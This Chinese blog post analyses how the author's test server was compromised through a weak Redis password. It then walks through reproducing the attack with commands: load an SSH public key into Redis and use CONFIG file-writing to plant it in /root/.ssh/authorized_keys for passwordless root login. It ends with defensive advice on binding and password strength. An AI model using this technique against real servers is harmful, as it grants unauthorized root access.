记服务器被入侵过程分析(基于Redis弱口令入侵)

晚间突然服务器CPU使用率告警,刚开始没有放在心上,结果连接服务器一看,瞬间就精神了,CPU使用率直接飙到300%多,明显不是误报,立马跟踪异常进程,最终确认中招了,恶意木马。没办法,手动先清除木马,结果,刚清除木马进程、文件后立即又会复制运行,明显是有守护进程存在的,通过分析木马脚本追踪到守护进程,最终才删除掉恶意程序。

虽然哥已不在江湖(瞎说的),但是这样被黑心里也是不爽的,虽然只是一台搁置的测试服务器,结果还是中招了。亡羊补牢,那就分析下是如何进来的,然后做出应对防范。

通过查看服务器对外端口,初步没看到异常,数据服务、web服务、流媒体服务,都是测试使用,web服务也没有上传漏洞,注入也不应该,都是静态文件,最后就定位到了Redis的服务上了。

由于为了方便测试,Redis随手设置的是弱口令,随便一个猜解程序(看来我也要重新写个扫描程序了)应该跑跑就出来了。那么可能就是通过Redis的弱口令漏洞进来的。本能的直觉,可疑,那么就自己来利用下Redis的弱口令入侵,看看是否可行。

基于Redis弱口令的入侵

切记,仅可用于技术研究,不可用于非法用途!后果自负!
切记,仅可用于技术研究,不可用于非法用途!后果自负!
切记,仅可用于技术研究,不可用于非法用途!后果自负!

我们都知道,Redis目前版本的运行权限较高,更何况我们的测试服务器上的更老,那么我们假设猜解了Redis的口令,那么就可以获取一个Redis Shell,那么就可以通过这个Shell来使用configsave命令来完成一次文件的写入操作。

既然能在目标文件服务器上写入文件,那么假设写入的一个免密登陆的公钥呢?那危害就瞬间放大了,接下里按照这个思路来进行下入侵测试。

** 准备公钥 **
这个就不多说了,只要是开发人员都是知道的,为了测试方便,我在本机重新生成一个:

生成密钥
1
2
3
$ ssh-keygen –t rsa  
#或者
$ ssh-keygen –t rsa -P ''

两者都是回车到结束,然后会生成一个id_rsaid_rsa.pub 文件。

** 准备Redis值字符串 **
通过手动复制id_rsa.pub内容或者使用以下命令都ok,生成一个存放字符串的文件,建议前后多空格。

1
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > mykey

前面三条语句会先输出空行,然后输出id_rsa.pub内容,接着输出空行,然后合并到一个文件mykey中,文件内容会如下:
生成文件结果

** 将值写入Redis **
由于我们已经猜解到Redis的口令,所以可以使用redis-cli连接服务通过set写入值,也可以使用下面的方法

1
2
3
$ cat mykey | redis-cli -h 服务地址 -a 弱口令 -x set mykey
#或者建立连接后
:6379> set mykey 文件内容

这样将会在Reids中写入一个kv对,key为我们定义的mykey,value为免登陆内容。
Redis写入结果

** 通过Redis 写入文件 **
这一步我们将利用Redis的机制,来完成文件的写入。

建立 Redis 服务连接

1
$ redis-cli -h 服务地址 -a

通过config命令生成文件,将文件写入到/root/.ssh/authorized_keys
生成文件结果
生成的authorized_keys文件内容为:
文件内容

** 测试登陆 **
ssh登陆
我这里为了对比效果,所以放在了一起,可以看到,上图有两次登陆,第一次会要求密码,而第二次则直接登陆了。

到这里恭喜你已经获取到shell了,然后切记,不要做任何破坏,退出!!!

最后,还原Redis的配置信息

1
2
:6379> config set dir /tmp
:6379> config set dbfilename dump.rdb

** 后记 **
从上面的过程我们其实已经看到了,Redis的写文件功能虽然初衷是为了做数据备份,结果如果被合理利用,造成的破坏是巨大的。这点其实和以前一些开源系统中的数据备份功能入侵是一样的,只是被有心人给利用了。

那么为了防范这种问题,运维人员就要自我反省了,为什么会有弱口令的存在呢? 虽然Redis官方已经说会添加执行的权限限制,可是弱口令的危害远远不止于此。

所以从根本上来防范,一般数据服务器都建议要求服务为内网访问,而不要提供0.0.0.0的绑定,同时,密码强度要够。

** 扩展 **
有人提到Redis支持EVAL,这样可以基于lua脚本进行攻击了,其实这点可利用的地方不大,我们看下官方的说明:

生成文件结果

都是些基础的库,对于ioos并不支持,通过测试也是会提示Script attempted to access unexisting global variable,所以这点不用太过于紧张的。